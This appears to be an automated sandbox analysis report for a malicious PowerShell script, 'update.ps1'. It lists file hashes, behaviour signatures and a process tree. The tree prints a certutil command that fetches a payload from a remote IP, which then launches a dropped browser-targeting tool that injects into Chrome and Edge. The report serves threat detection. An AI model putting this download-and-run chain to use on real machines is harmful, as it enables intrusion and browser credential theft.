4074ff10f4b0ec8c064db161540afc05281619619e831c4bfce15615c0adc94c

Analysis

max time kernel
149s
max time network
132s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
19/08/2026, 19:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
update.ps1
Size 9KB
Sample260819-xyvx8a1fkh
SHA256 4074ff10f4b0ec8c064db161540afc05281619619e831c4bfce15615c0adc94c
MD5 778cd1bf601176353b8d69cd65229337
SHA1 8a624f3d2f5193471f07346e962bdcabe11e76d7
SHA512 1326e558168ff08348683fe445eeccfba92df76a7ff46b42899e108146aee0c467d3c8b5df7edf11ed61e8c2edd7e057f9cc88a47c7b1f02ef26b96839bc520d
SSDEEP 192:i9jB3zZKis5ouyB+9HbF2Z1WHos8Y3AJV:irtDs5ouK+97F2Z1WVwJV
TLSH
T1CD228424F55E505413B3523AF69AA108FB1BC52B46011605789C42E93FB1B6BCBECACE
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
9	4656	PowerShell.exe

Executes dropped EXE 1 IoCs

pid	Process
4948	chromelevator_x64.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4656	PowerShell.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
4656	PowerShell.exe
4656	PowerShell.exe
4656	PowerShell.exe
4656	PowerShell.exe
4656	PowerShell.exe
4656	PowerShell.exe
4656	PowerShell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4656	PowerShell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4656 wrote to memory of 4512	4656	PowerShell.exe	89
PID 4656 wrote to memory of 4948	4656	PowerShell.exe	90
PID 4948 wrote to memory of 4308	4948	chromelevator_x64.exe	91
PID 4948 wrote to memory of 4308	4948	chromelevator_x64.exe	91
PID 4948 wrote to memory of 4064	4948	chromelevator_x64.exe	94
PID 4948 wrote to memory of 4064	4948	chromelevator_x64.exe	94

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\update.ps1
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4656
- C:\Windows\system32\certutil.exe
  "C:\Windows\system32\certutil.exe" -urlcache -split -f http://103.229.53.84:8443/data.cab C:\Users\Admin\AppData\Local\Temp\wupd\d.cab
  2⤵
  PID:4512
- C:\Users\Admin\AppData\Local\Temp\wupd\chromelevator_x64.exe
  "C:\Users\Admin\AppData\Local\Temp\wupd\chromelevator_x64.exe" -o C:\Users\Admin\AppData\Local\Temp\wupd\o all
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4948
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe"
    3⤵
    PID:4308
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
    3⤵
    PID:4064

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4680

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3740

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

chromelevator_x64.exe

Path C:\Users\Admin\AppData\Local\Temp\wupd\chromelevator_x64.exe
Size 1.4MB
SHA256 e857298fd2f8d1c7d48780769433f33e7b3ceaae5ea5a74c13ce8c10bcc7b690
MD5 1d04536714bb22a3e909525a7dd627f0
SHA1 affc166fa1874ff3ec0e42646e008cec972b76ab
SHA512 ec2028983c8c5939545c572f13e1d24e730ca1601c6a8840769d1a6b28b8e12d7c9bd1850007ec0be8abc7c44e12bafcd64dc5b4c842155b75a70d8c71769166
SSDEEP 24576:+7JVbIr44BR1IVOe4waHbTkEFhA+b3XYXKXjAOY5MBmYBREkM2eU25gooYHJLUY:moj15e4w8xhACEKzs57Xci5NLd
TLSH
T14565020BA6A401F9D5F3C174CC42590ADB76F84A47A5EB4F03E449961F276B09E3FB22
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

d.cab

Path C:\Users\Admin\AppData\Local\Temp\wupd\d.cab
Size 1.2MB
SHA256 9b81bf9f7fce83c0372d3a0c1b6a1ed739cd7b33bbd0294157500691825d7930
MD5 c1c56f1c3af8f382b72d78a18dd62652
SHA1 7ab467533dba5ace14c611ccec83fac4ab4edd07
SHA512 dd02aa8b904d6ac3a4ebfcfa0c4f2e86c57207b42f6d1354413d99ef8a7975242a154e5c512034ee32f7b8611f6dabf3be0eb39f7bb02974765e7bcdaa353a93
SSDEEP 24576:nRY5PzbIrsObRfIzyeEwK9bxUEXrI0dBZk5KZPAaW5qBQoBrEoMMyYBa4eixt9tS:64VfteEwA7rIsmKdc5xXi+4J90
TLSH
T1CD4533CDC8A93B435CF364E91CDB2E5C1A0CB0FAD39BD78E50909426290857F9E4BC66
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/4656-22-0x0000027AD7A70000-0x0000027AD7A82000-memory.dmp

Download

memory/4656-51-0x00007FFF957D0000-0x00007FFF96174000-memory.dmp

Download

memory/4656-6-0x00007FFF957D0000-0x00007FFF96174000-memory.dmp

Download

memory/4656-7-0x00007FFF957D0000-0x00007FFF96174000-memory.dmp

Download

memory/4656-8-0x00007FFF957D0000-0x00007FFF96174000-memory.dmp

Download

memory/4656-10-0x00007FFF957D0000-0x00007FFF96174000-memory.dmp

Download

memory/4656-13-0x00007FFF957D0000-0x00007FFF96174000-memory.dmp

Download

memory/4656-14-0x00007FFF957D0000-0x00007FFF96174000-memory.dmp

Download

memory/4656-19-0x00007FFF957D0000-0x00007FFF96174000-memory.dmp

Download

memory/4656-20-0x0000027AD79F0000-0x0000027AD79FA000-memory.dmp

Download

memory/4656-0-0x00007FFF9595F000-0x00007FFF95960000-memory.dmp

Download

memory/4656-4-0x0000027AD79A0000-0x0000027AD79C2000-memory.dmp

Download

memory/4656-5-0x00007FFF957D0000-0x00007FFF96174000-memory.dmp

Download

memory/4656-33-0x00007FFF957D0000-0x00007FFF96174000-memory.dmp

Download

memory/4656-21-0x00007FFF957D0000-0x00007FFF96174000-memory.dmp

Download

memory/4656-34-0x00007FFF957D0000-0x00007FFF96174000-memory.dmp

Download

memory/4656-41-0x0000027AD7A90000-0x0000027AD7AAE000-memory.dmp

Download

memory/4656-42-0x0000027AF01C0000-0x0000027AF0272000-memory.dmp

Download

memory/4656-43-0x0000027AD7AB0000-0x0000027AD7ABA000-memory.dmp

Download

memory/4656-48-0x0000027AF0550000-0x0000027AF0712000-memory.dmp

Download

memory/4656-49-0x0000027AF0C50000-0x0000027AF1178000-memory.dmp

Download

memory/4656-1-0x00007FFF957D0000-0x00007FFF96174000-memory.dmp

Download

memory/4656-52-0x00007FFF957D0000-0x00007FFF96174000-memory.dmp

Download

memory/4656-53-0x00007FFF957D0000-0x00007FFF96174000-memory.dmp

Download

memory/4656-59-0x00007FFF957D0000-0x00007FFF96174000-memory.dmp

Download